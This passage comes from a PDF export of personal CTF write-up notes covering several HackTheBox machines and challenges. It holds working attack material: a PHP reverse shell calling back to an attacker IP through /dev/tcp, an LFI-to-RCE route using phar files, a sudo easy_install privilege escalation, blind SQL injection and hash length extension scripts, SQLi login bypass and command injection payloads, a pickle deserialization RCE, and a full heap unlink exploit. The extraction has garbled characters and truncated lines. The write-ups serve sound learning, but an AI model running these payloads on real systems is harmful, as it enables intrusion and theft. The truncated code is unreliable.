We can run some brute force scripts in the background for !les and directories
while we probe manually:
Gobuster detects that there is a /dev directory! This looks like the only useful
thing it !nds, as basically everything else is status code 403 . Connection to
/dev just loads up a blank page with no information.
But what if we bruteforce under /dev ? In fact, we hit the jackpot - there's a
.git directory!
Git
We'll use a tool called git-dumper to dump the contents of the Git repo:
The contents are interesting. First we see index.php , which looks like this:
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
Essentially, it checks the page parameter; if it doesn't contain strings like bin
or etc , it will append .php to the end and serve it back. If it does, it simply
renders checker.php . checker.php is the !le for the main page we see on a
normal connectiong, which checks if a website is up or not.
There is clearly LFI here, but made slightly more di$cult by the blacklist and the
addition of .php onto the end of a !lename.
Additionally, we can dump more details from Git using the git log command. A
couple of intersting commits come up if that happens:
commit 61e5cc0550d44c08b6c316d4f04d3fcc7783ae71
Delete .htpasswd
commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <[email protected]>
Date: Wed Oct 20 16:38:54 2021 +0200
commit bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
Author: Abdou.Y <[email protected]>
Date: Wed Oct 20 16:37:20 2021 +0200
Update .htaccess
tells us it's Forbidden to access that resource. We've at least con!rmed that the
subdomain exists and is treated di"erently.
.htpasswd
$ cat .htpasswd
.htaccess
$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
This tells us there is a special header that needs to be set called Special-Dev
with the value only4dev . COnsidering the description of the commit is New
technique in header to protect our dev vhost and dev.siteisup.htb is
Forbidden, it's likely for that. We can check using BurpSuite:
Dev Website
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 391 of 554
Cybersecurity Notes 5/3/25, 16:17
Dev Website
To make it easier for us, we're gonna get BurpSuite to add the header for us with
its proxy (thanks to ippsec for this!). We can go to Match and Replace under
Proxy Options:
Fiddling around with the website, we realise it re#ects the git repository
perfectly - the hyperlink for the Admin Page adds ?page=admin to the request,
which then spits out the contents of admin.php . Clearly, the LFI works.
LFI Exploitation
A logical route here would be to upload our own !le and then LFI it for RCE.
However, there are two issues with this.
Firstly, the server checks the !le extension, and denies uploading a fair few of
them:
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)) {
die("Extension not allowed!");
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 392 of 554
Cybersecurity Notes 5/3/25, 16:17
Secondly, the server appends .php to the page parameter of the GET request:
If we have a proper look at the code, we realise that it all happens very quickly:
foreach($websites as $site) {
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>
} else {
echo "<center>{$site}<br><font color='red'>seems to be down :(</font><
}
} else {
• Reads all the lines in the !le, putting them into a list
So it seems like it expects a list of websites to check, then once that's done
deletes them immediately.
Note that if the webserver doesn't respond, it hangs for a period of time - this is
the massive delay we noticed right away. We can use this to our advantage and
keep the server running, leaving the !le up.
As we predicted, the server rejects the !le. If we rename it to test.txt and try
again, the upload is successful. If we go to http://dev.siteisup.htb/uploads/ ,
we see the !le gets deleted immediately. Let's add our own IP and see if it hangs
long enough for us to actually get it:
10.10.14.22
<?php system("ls"); ?>
Still nothing. The resposne is very quick on the original site, so it probably
detected the socket was closed. If we open the socket but don't respond, for
example with netcat , it might delay:
$ sudo nc -nvlp 80
We can actually also add the -k #ag to the above nc command to keep the
listening persist over multiple connections. I'll have this running in the
background while I tinker with what can be done.
PHAR Files
PHP has its own archives called phar !les, where you essentially package up PHP
!les into a zip !le. The cool thing about a phar !le is that we can use the
phar:// stream wrapper to access a PHP script inside the phar !le.
The way this works is that we can have a !le with the .php extension, then in the
page parameter of the GET request we can use the phar:// wrapper to access
the PHP !le inside it.
The upload works! Let's try and access the !le itself. In BurpSuite, we'll use
Repeater to query for the !le. Note that the server appends the .php for us -
that's half the reason we have to do it this way! So don't include the extension
in the page parameter.
Huh, it's an Internal Server Error. Considering that the previous attempt worked
well, chances are some PHP functions are disabled. This is done using
disabled_functions , and we can check by running phpinfo() , so let's do that:
disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopp
There are a lot of disabled functions, but one that is not disabled is
proc_open() . This can be found using the tool dfunc-bypasser, as recommended
by ippsec and 0xdf. A proc_open() reverse shell can be pretty simple:
<?php
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 396 of 554
Cybersecurity Notes 5/3/25, 16:17
<?php
$descriptor_spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.22/4000 0>&1'"
A basic reverse shell to port 4000. Let's do the exact same thing and pray it works.
Privesc to Developer
A quick check in /home tells us there is a developer user. If we go into their
home directory then /dev , there is a SUID binary named siteisup with the
source code siteisup.py . We can read siteisup.py :
import requests
We can immediately spot this is python2, and even more importantly it's using
input() in python2 - which can easily lead to code execution. If we run
./siteisup , we get prompted for the URL. If we enter a simple os.system
command, we get a response:
$ ./siteisup
Welcome to 'siteisup.htb' application
Aside from the errors, we can see it works! Now we can run
__import__('os').system('bash') and get a shell as developer . I'll grab the
id_rsa in .ssh , call it dev.key and SSH in:
Privesc to Root
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 398 of 554
Cybersecurity Notes 5/3/25, 16:17
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr
developer@updown:~$ cd /tmp/
developer@updown:/tmp$ TF=$(mktemp -d)
developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$
developer@updown:/tmp$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a futur
Processing tmp.uxu7JoSg3E
Writing /tmp/tmp.uxu7JoSg3E/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.uxu7JoSg3E/egg-dist-tmp-SX0A
# whoami
root
Hard
Intense
SQL Injection, Hash Length Extension, LFI and binary exploitation
Overview
Intense is de!nitely the best box I have ever done on HTB, and I loved it every
step of the way. We start by doing some general tampering on the website and,
combined with source code analysis, we !nd an SQL injection vulnerability. As
there is no controllable output, we can execute a boolean-based blind SQL
injection attack and extract the secret character by character.
The hash is not crackable, but rather used to sign a custom JWT token to prove
it's authentic. The hashing algorithm in use is vulnerable to a Hash Length
Extension attack, which allows us to append our own data to the hash and sign in
as the admin . More source code analysis reveals admins have access to an API
vulnerable to LFI.
Using the LFI we can grab an SNMP Read-Write Community string, which we can
leverage for RCE. From here we exploit a vulnerable binary run by root to gain
root access.
Enumeration
Nmap
HTTP
I'm going to download the source right away, and while that goes I'll sign in as
guest .
auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkO
Looks like a custom JWT due to the two base64 strings separated by a . . Let's
try decoding it.
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb0481
<<invalid text>>
The second part of the cookie looks like it's not ASCII. Based on how JWTs
normally work, we'll assume it's the cookie signature.
Around now we crack open VS Code and have a look at how the cookie is made,
along with possible attack vectors.
def sign(msg):
""" Sign message with secret key """
return sha256(SECRET + msg).digest()
This function appears to create the signature we saw as part of the JWT (I'll call it
an LWT from now to avoid confusion). How is SECRET de!ned?
@app.route("/submitmessage", methods=["POST"])
def submitmessage():
message = request.form.get("message", '')
if len(message) > 140:
return "message too long"
if badword_in_str(message):
return "forbidden word in message"
# insert new message in DB
try:
query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
return str(e)
return "OK"
If we use the Send Message feature of the website, our data gets parsed
Note how the function returns the SQLite error if there is one, meaning we should
get some feedback:
Now we know there is some SQL injection involved, let's think about what we
need to extract. In utils.py , we see that there's a try_login function:
def try_login(form):
""" Try to login with the submitted user info """
if not form:
return None
username = form["username"]
password = hash_password(form["password"])
result = query_db("select count(*) from users where username = ? and secre
if result and result[0]:
return {"username": username, "secret":password}
return None
Now we know there is a column called username and a column called secret . If
we go back in the source, we can see that the secret is used for creating the
LWTs.
In app.py :
@app.route("/postlogin", methods=["POST"])
def postlogin():
# return user's info if exists
data = try_login(request.form)
if data:
resp = make_response("OK")
# create new cookie session to authenticate user
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 404 of 554
Cybersecurity Notes 5/3/25, 16:17
def create_session(data):
""" Create session based on dict
@data: {"key1":"value1","key2":"value2"}
return "key1=value1;key2=value2;"
"""
session = ""
for k, v in data.items():
session += f"{k}={v};"
return session.encode()
Extracting the admin's secret might bring us one step closer to successfully
logging in as the admin.
SQL Injection
As only errors are returned, I originally attempted to trigger my own custom
errors. In the end, though, I went for a boolean-based blind SQLi payload.
Payload Formation
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 405 of 554
Cybersecurity Notes 5/3/25, 16:17
• WHEN 'a' is the other part of CASE - if the value, in this case the result of
SUBSTR() is a , it'll then run LOAD_EXTENSION('b') . If not, it essentially
does nothing.
We'll loop through username with every printable character and see if it
matches. Note that it will also match guest , so there'll be two matches. The way
I'll !x this is I'll print it out only if it's not the corresponding letter in the word
guest and hope there are no common letters, although there's probably a
better way.
i = 0
r = post('http://intense.htb/submitmessage', data=data)
Success!
char found: a
char found: d
char found: m
char found: i
char found: n
admin
guest = '84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec'
admin = ''
i = 0
r = post('http://intense.htb/submitmessage', data=data)
# if at the end of trying all digits the secret isn't the expected length,
# it must have shared a digit with the guest secret and we skipped over it
# so we'll just append it
if len(admin) != (i + 1):
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 407 of 554
Cybersecurity Notes 5/3/25, 16:17
if len(admin) != (i + 1):
char = guest[i]
admin += char
print(f"char found: {char}")
print(admin)
$echo -n 'f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105' |
64
current = b'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c
signature = b'2f27b9b63baea689f848b5e333426973f97a5e49b9f8f3ad4fac45943b61a372
append = b';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36
if r.status_code != 403:
print(cookie)
The signature changes every reset, so make sure you update it!
dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YT
@admin.route("/admin/log/view", methods=["POST"])
def view_log():
if not is_admin(request):
abort(403)
logfile = request.form.get("logfile")
if logfile:
logcontent = admin_view_log(logfile)
return logcontent
return ''
@admin.route("/admin/log/dir", methods=["POST"])
def list_log():
if not is_admin(request):
abort(403)
logdir = request.form.get("logdir")
if logdir:
logdir = admin_list_log(logdir)
return str(logdir)
return ''
The admin viewing abilities allow you to read !les. Interesting. Are
admin_view_log() and admin_list_dir() safe?
def admin_view_log(filename):
if not path.exists(f"logs/{filename}"):
return f"Can't find {filename}"
with open(f"logs/{filename}") as out:
return out.read()
def admin_list_log(logdir):
if not path.exists(f"logs/{logdir}"):
return f"Can't find {logdir}"
return listdir(logdir)
while True:
read = input('>>> ')
if cmd == 'ls':
loc = '../' * 8 + '..' + ''.join(folder)
r = post('http://intense.htb/admin/log/dir', cookies=cookies, data={'l
files = '\n'.join(eval(r.text))
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 410 of 554
Cybersecurity Notes 5/3/25, 16:17
files = '\n'.join(eval(r.text))
print(files)
else:
loc = '../' * 8 + '..' + read
r = post('http://intense.htb/admin/log/view', cookies=cookies, data={'
print(r.text.rstrip())
>>> /home/user/user.txt
6b5...
After some searching (and some nmap ) we !nd SNMP is open, so let's see what
we can do with that.
>>> /etc/snmp/snmpd.conf
[...]
rocommunity public default -V systemonly
rwcommunity SuP3RPrivCom90
[...]
Finding Root
If we go into the home directory of user , we see a note_server and a
note_server.c . Running netstat -tunlp tells us there is something listening
on port 5001.
netstat -tunlp
[...]
tcp 0 0 127.0.0.1:5001 0.0.0.0:* LISTEN
[...]
Let's run the !le and check if it's this that runs on port 5001 :
As the program is running remotely, binary exploitation seems likely, so I'm going
to dump the remote libc and linker as well:
$ ldd note_server
linux-vdso.so.1 (0x00007ffee41ec000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f12b4eba000)
/lib64/ld-linux-x86-64.so.2 (0x00007f12b54ae000)
Summary
A few things lack bounds checking, allowing us to a) leak the stack and b) write to
the stack.
Analysis
switch(cmd) {
// write note
case 1:
if (read(sock, &buf_size, 1) != 1) {
exit(1);
}
// write note
if (read(sock, ¬e[index], buf_size) != buf_size) {
exit(1);
}
index += buf_size;
break;
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 413 of 554
Cybersecurity Notes 5/3/25, 16:17
break;
index += copy_size;
break;
// show note
case 3:
write(sock, note, index);
return;
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 414 of 554
Cybersecurity Notes 5/3/25, 16:17
• Write
• Copy
◦ Take in o"set
◦ Take in size
◦ Copy Data
◦ Increase index
• Show
The main #aw here is the check for copy occurs before index is increased. So if
we copy a massive chunk, the check will be passed anyway.
The binary uses fork() , which means the memory will be identical for every
connection. Same binary base, same libc base, same canary, same everything.
Setup
if args.REMOTE:
libc = ELF('./libc-remote.so')
p = process('127.0.0.1', 5002) # for the portfwd
else:
libc = elf.libc
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 415 of 554
Cybersecurity Notes 5/3/25, 16:17
libc = elf.libc
p = process('127.0.0.1', 5001)
def read():
p.send(b'\x03')
return p.clean(0.5)
write('A' * 0xff)
write('B' * 0xff)
write('C' * 0xff)
copy(start=0xff*3, length=250)
print(read())
Well, we've leaked signi!cantly more than the stu" we wrote, that's for sure.
Let's completely !ll up the bu"er, so we can work with the stu" after it. The
bu"er size is 1024 bytes, plus another 8 for the saved RBP.
leaks = read()[1024:]
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 416 of 554
Cybersecurity Notes 5/3/25, 16:17
leaks = read()[1024:]
0x7ffe9d91bbe0
0xdc185629f84e5a00 canary
0x7ffe9d91bbe0 rbp
0x565150b24f54 rip
Now we've successfully leaked, we can parse the values. Using radare2 and
breaking on the ret , the o"set between the leaked RIP value there and binary
base is 0xf54 :
leaks = read()[1032:]
canary = u64(leaks[:8])
log.success(f'Canary: {hex(canary)}')
ret_pointer = u64(leaks[16:24])
elf.address = ret_pointer - 0xf54
log.success(f'PIE Base: {hex(elf.address)}')
Now we need to somehow read a GOT entry. Since the binary uses write() , it's
possible. But !rst we need to get the copy working in a way that it starts
overwriting at exactly the return pointer. With a bit of messing about, I got a
function that seemed to work.
def deliver_payload(payload):
payload = 'A' * 12 + payload
payload = payload.ljust(0xff, 'A')
write(payload)
write('B' * 0xff)
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 417 of 554
Cybersecurity Notes 5/3/25, 16:17
write('B' * 0xff)
write('C' * 0xff)
write('D' * 0xff)
copy(12 + len(payload))
We're 12 o" the canary at the end, so we put 12 A characters ahead and copy 12
extra.
Leaking LIBC
TODO
Challenges
Web
Looking Glass
Analysis
When we start the instance, we are met with an options menu:
It appears as if we can input the IP, which is then pinged. Let's imagine for a
second how this could be implemented on the server side. A common trap
developers can fall into is doing something like:
Exploitation
Let's try it by simply inputting ; ls to the end of the IP and submitting:
Look - as well as the ping command, we get index.php , which is the result of
the ls command!
There doesn't appear to be a #ag, so we'll try ; ls / to read the root directory
next:
tmp
usr
var
www
Woo - there's a flag_2viTb !le! Now we'll inject ; cat /flag_2viTb to read
the #ag:
Automation
Because I prefer a command-line interface, I originally created a simple script to
inject parameters for me:
data = r.text
data = data.split('packet loss\n')[-1]
data = data.split('</textarea>')[0]
print(data.strip())
This simply inputs the command as cmd , sets the POST parameters, and (really
messily) parses the response to return just the data.
$ python3 exploit.py
>> cat /flag_2viTb
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 423 of 554
Cybersecurity Notes 5/3/25, 16:17
Sanitize
Analysis
First we're met with a signin form:
The Query
Below, the query run on the database is shown; this seems like a clear example of
SQL injection.
Exploitation
Ultimately, we want to try and log in as a user. To do this, we can try to inject our
own SQL.
We want to trick this into always returning a user, and to do this we'll inject a
clause that's always true, such as 1=1 .
admin' OR 1=1
select * from users where username = 'admin' OR 1=1 AND password = 'password';
So here, it'll compare the username to admin , and if it's not the same the check
will still pass because 1=1 . However, there's a small issue with the password
still being wrong. To bypass this check, we'll make everything after our injection a
comment so that the databse ignores it:
admin' OR 1=1;--
select * from users where username = 'admin' OR 1=1;-- AND password = 'passwor
As you can see, the username will always be correct due to the 1=1 and the
password check is commented out! Let's try it.
We still have to input a password because some javascript checks to make sure it's
there, but we can !ll that with any rubbish. And we get the #ag!
HTB{SQL_1nj3ct1ng_my_w4y_0utta_h3r3}
Baby Auth
Analysis
We are !rst greeted by a login page. Let's, once again, try admin with password
admin :
Looks like we'll have to create an account - let's try those credentials.
This is great, because now we know we need a user called admin . Let's create
another user - I'll use username and password yes , because I doubt that'll be
used.
Login Redirect
We're redirected to the login, which makes it seem like it worked. Let's log in with
the credentials we just created:
When it comes to accounts, one very common thing to check is cookies. Cookies
allow, among other things, for users to authenticate without logging in every
time. To check cookies, we can right-click and hit Inspect Element and then move
to the Console tab and type document.cookie .
Once we decode the base64, we see that the contents are simply
{"username":"yes"} .
Exploitation
So, the website knows our identity due to our cookie - but what's to stop us from
forging a cookie? Since we control the cookies we send, we can just edit them.
Let's create a fake cookie!
Note that we're URL encoding it as it ends in the special character = , which
usually has to be URL encoded in cookies. Let's change our cookie to
eyJ1c2VybmFtZSI6ImFkbWluIn0%3D !
Ignore the warning, but we've now set document.cookie . Refresh the page to
let it send the cookies again.
HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}
Analysis
plan_b=KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5
Our guess is that this is a pickled python object, and decoding the base64 seems
to imply that to us too:
$ echo 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW
(dp0
S'serum'
p1
ccopy_reg
_reconstructor
p2
(c__main__
anti_pickle_serum
p3
c__builtin__
object
p4
Ntp5
Rp6
s.
Unpickling
Let's immediately try to unpickle the data, which should give us a feel for how
data is parsed:
import pickle
code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21ha
serum = pickle.loads(b64decode(code))
print(serum)
$ python3 deserialize.py
Traceback (most recent call last):
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 431 of 554
Cybersecurity Notes 5/3/25, 16:17
The error is quite clear - there's no anti_pickle_serum variable. Let's add one in
and try again.
code = b'KGRwMApT[...]'
anti_pickle_serum = 'test'
$ python3 deserialize.py
Traceback (most recent call last):
File "deserialize.py", line 8, in <module>
serum = pickle.loads(b64decode(code))
File "/usr/lib/python3.8/copyreg.py", line 43, in _reconstructor
obj = object.__new__(cls)
TypeError: object.__new__(X): X is not a type object (str)
# [imports]
class anti_pickle_serum(object):
def __init__(self):
pass
# [...]
$ python3 deserialize.py
{'serum': <__main__.anti_pickle_serum object at 0x7f9e1a1b1c40>}
So the cookie is the pickled form of a dictionary with the key serum and the
value of an anti_pickle_serum class! Awesome.
Exploitation
For an introduction to pickle exploitation, I highly recommend this blog post.
Essentially, the __reduce__ dunder method tells pickle how to deserialize, and
to do so it takes a function and a list of parameters. We can set the function to
os.system and the parameters to the code to execute!
import pickle
import os
class anti_pickle_serum(object):
def __reduce__(self): # function called by the pickler
return os.system, (['whoami'],)
Here we create the malicious class, then serialize it as part of the dictionary as we
saw before.
$ python3 final.py
b'gASVLAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwGd2hvYW1plIWUUpRzLg==
Huh, that looks nothing like the original cookie value (which starts with
KGRwMApTJ3 )... maybe we missed something with the dumps ?
$ python3 final.py
b'KGRwMApWc2VydW0KcDEKY3Bvc2l4CnN5c3RlbQpwMgooVndob2FtaQpwMwp0cDQKUnA1CnMu'
As you can see now, the value 0 was returned. This is the return value of
os.system ! Now we simply need to !nd a function that returns the result, and
we'll use subprocess.check_output for that.
For reasons unknown to me, python3 pickles this di"erently to python2 and doesn't
work. I'll therefore be using python2 from now on, but if anybody know why that
would happen, please let me know!
Now run it
$ python final.py
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydscycKcD
As can now see that there is a flag_wIp1b !le, so we can just read it!
$ python final.py
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydjYXQnCn
HTB{g00d_j0b_m0rty...n0w_I_h4v3_to_g0_to_f4m1ly_th3r4py..}
Pwn
Overview
Dream Diary: Chapter 1 (known as DD1) was an insane pwn challenge. It is one
of the few heap challenges on HackTheBox and, while it took a great deal of time
to understand, was probably one of the most satisfying challenges I've done.
There were two (main) ways to solve this challenge: utilising an unlink exploit and
overlapping chunks then performing a fastbin attack. I'll detail both of these, but
!rst we'll identify the bug and what it allows us to do.
Analysis
Let's have a look at what we can do.
ironstone@ubuntu:~/Desktop/hackthebox/chapter1$ ./chapter1
+------------------------------+
| Dream Diary |
+------------------------------+
| [1] Allocate |
| [2] Edit |
| [3] Delete |
| [4] Exit |
+------------------------------+
>> 1
Size: 20
Data: ye
Success!
[...]
So at !rst look we can create, edit and delete chunks. Fairly standard heap
challenge.
Decompilation
Many of the functions are bloated. If there is a chunk of irrelevant code, I'll just
replace it with a comment that explains what it does (or in the case of canaries just
remove altogether). I'll also remove convoluted multi-step code, so the types may be
o", but it's much more readable.
Allocate
/* Input size */
chunk = malloc(size);
*(void **)(&CHUNKLIST + (long)index * 8) = chunk; /* Add chunk address to list
printf("Data: ");
read(*(void **)(&CHUNKLIST + index * 8), size);
puts("Success!");
Very simpli!ed, but it takes in a size and then calls malloc() to assign a chunk of
that size and reads that much data into the chunk.
Edit
/* Input index */
Again, quite simpli!ed. Calls strlen() on the data there, reads that many bytes
in.
Delete
/* Input index */
The delete() function is secure, so it's clearly not an issue with the way the
chunk is freed. Now we can check the functions that write data, allocate() and
edit() .
allocate() only ever inputs how much it allocates, so it's secure. The bug is in
edit() :
Remember that strlen() stops at a null byte. If we completely !ll up our bu"er
the !rst time we allocate, there are no null bytes there. Instead, we will continue
into the size !eld of the next chunk.
Provided the size !eld is greater than 0x0 - which is will be - strlen() will
interpret it as part of the string. That only gives us an over#ow of one or two
bytes.
But what can we do with that? The last 3 bits of the size !eld are taken up by
the #ags, the important one for this being the prev_in_use bit. If it is not set
(i.e. 0 ) then we can use PREV_SIZE to calculate the size of the previous chunk. If
we overwrite P to be 0 , we can fake PREV_SIZE as it's originally part of the
previous chunk's data.
Scripting
Some helper functions to automate the actions.
CHUNKLIST = 0x6020c0
def free(idx=0):
p.sendlineafter('>> ', '3')
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 440 of 554
Cybersecurity Notes 5/3/25, 16:17
Unlink Exploit
Summary
In this approach, we overwrite PREV_SIZE to shrink the size of the previous
chunk. This tricks the heap into thinking that the previous chunk's metadata starts
where our data does, enabling us to control chunk metadata. As we can control
the fd and bk pointers, we can execute an unlink exploit. We can bypass the
unlink security checks by pointing fd and bk to the chunklist, which contains a
pointer to the chunk.
This enables us to overwrite a chunklist entry with the address of the chunklist
itself, meaning we can now edit the chunklist. This gives us the ability to write to
wherever we want, and we choose to target the GOT. We can overwrite
strlen@got with puts@plt as that makes it functionally equivalent and then
read a libc address. From here we overwrite free@got with the address of
system and free() a chunk containing /bin/sh .
Exploitation
The Unlink
We'll choose a size of 0x98 for the chunks. Firstly, this means the chunk does not
fall in fastbin range. Secondly, the additional 0x8 bytes means we do in fact
overwrite prev_size . Other sizes such as 0x108 would also work, but make
sure Chunk 4 overwrites Chunk 5's prev_size !eld.
alloc()
alloc()
alloc()
alloc(data='A' * 0x98)
alloc()
PREV_SIZE is overwritten
Now we will create a fake chunk. The fake size we give it will be the di"erence
between the start of our fake data and the next consecutive chunk. In this case,
that is 0x90 - as you see from the image, the di"erence between chunks 4 and 5
is 0xa0 , so if we remove the metadata the fake chunk is 0x90 . We'll also
overwrite PREV_IN_USE to trick it into thinking it's free.
fake_chunk = flat(
0x0, # fake prev_size (of fake chunk)
0x91, # fake size
CHUNKLIST, # fd (controlled)
CHUNKLIST + 8, # bk (controlled)
b'A' * 0x70, # pad to -8 off max size so we can fake prev_size
0x90 # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE
edit(3, fake_chunk)
Now we free chunk 5, making Chunks 4 and 5 consolidate. This triggers a call to
the unlink() macro on Chunk 4. Let's look at how we expect the unlink to go.
FD = P->fd (= CHUNKLIST)
BK = P->bk (= CHUNKLIST + 8)
Both writes write to CHUNKLIST + 0x18 , and the value written is the address of
the chunklist. Now, if we edit Chunk 3, we're actually editing the chunklist itself
as that's where the pointer points to.
We also manage to bypass the unlink check by getting FD->bk and BK->fd to
point at the chunk's entry in the list.
Note that the value written was the location of fd , so if the chunk we
over#owed with was Chunk 0 we would have had to write to a location ahead of
the chunklist in memory in order to bypass the check, and pad all the way to the
start before we could edit chunklist entries. By allocating 3 chunks before the
over#ow chunk we were able to write the chunklist address to entry 4 directly
and bypass the check, meaning we had to mess around with padding less.
LIBC Leak
Editing Chunk 3 now edits the chunklist itself, meaning we can overwrite pointers
and gain arbitrary writes.
Now we just attempt to edit Chunk 0. Because it would print the libc address as
soon as we enter the index, we'll have to do this part manually or the
p.sendlineafter() lines would skip over the leak.
p.sendline('2')
p.sendlineafter('Index: ', '0')
print(p.clean())
b'@u\xdb%\xc0\x7f\nData: '
So it worked! Let's just parse the response and print out the leak.
Perfect.
Getting a Shell
This is quite simple - change a GOT entry such as free and replace it with
system . Then, if the chunk contains /bin/sh , it'll get passed to the function as
a parameter.
You may notice the 2nd and 3rd chunks have been untouched so far, so we could
easily place the /bin/sh in one of those right at the beginning for use now.
alloc()
p.interactive()
Moving to Remote
There are a few changes we need to make remotely. Firstly, the libc may be
di"erent (it was for me). Simply leak a couple more libc addresses and use
somewhere like here to identify the libc version. We can also change the
beginning of our script.
if args.REMOTE:
p = remote('167.71.140.171', 31713)
libc = ELF('./libc-remote.so')
else:
p = process()
libc = elf.libc
Secondly, the way the service uses socat means it echoes our input back to us.
Because of the way we use p.sendlineafter() , this doesn't a"ect us until we
parse the libc leak. We can just listen to the extra data if it's on REMOTE mode.
if args.REMOTE:
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 447 of 554
Cybersecurity Notes 5/3/25, 16:17
if args.REMOTE:
p.recvuntil('0\r\n') # echoed back
Thirdly, the socat used has pty enabled. This means it interprets the \x7f we
send as the ascii representation of backspace, which would delete anything we
sent. To mitigate this (it's only relevant when sending system ) we just check if
we're on REMOTE mode and if we are we can escape the \x7f with \x16 , the
socat escape character.
system = p64(libc.symbols['system'])
if args.REMOTE:
system = system.replace(b'\x7f', b'\x16\x7f') # escape backspace
p.sendline(system)
Final Exploit
from pwn import *
if args.REMOTE:
p = remote('178.62.90.208', 30352)
libc = ELF('./libc-remote.so')
else:
p = process()
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 448 of 554
Cybersecurity Notes 5/3/25, 16:17
p = process()
libc = elf.libc
CHUNKLIST = 0x6020c0
def free(idx):
p.sendlineafter('>> ', '3')
p.sendlineafter('Index: ', str(idx))
alloc()
alloc(data='/bin/sh\x00')
alloc()
alloc(data='A' * 0x98)
alloc()
fake_chunk = flat(
0x0, # fake prev_size (of fake chunk)
0x91, # fake size
CHUNKLIST, # fd (controlled)
CHUNKLIST + 8, # bk (controlled)
b'A' * (0x70), # pad to -8 off max size so we can fake prev_size
0x90 # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE
edit(3, fake_chunk)
free(4)
if args.REMOTE:
p.recvuntil('0\r\n')
# send system
system = p64(libc.symbols['system'])
if args.REMOTE:
system = system.replace(b'\x7f', b'\x16\x7f') # socat badchars - \x7f in
p.sendline(system)
free(1)
p.interactive()
Chunk Overlap
Summary
TODO
Ropme
Overview
Ropme was an 80pts challenge rated as Hard on HackTheBox. Personally, I don't
believe it should have been a hard; the technique used is fairly common and
straightforward, and the high points and di$culty is probably due to it being one
of the !rst challenge on the platform.
Exploiting the binary involved executing a ret2plt attack in order to leak the libc
version before gaining RCE using a ret2libc.
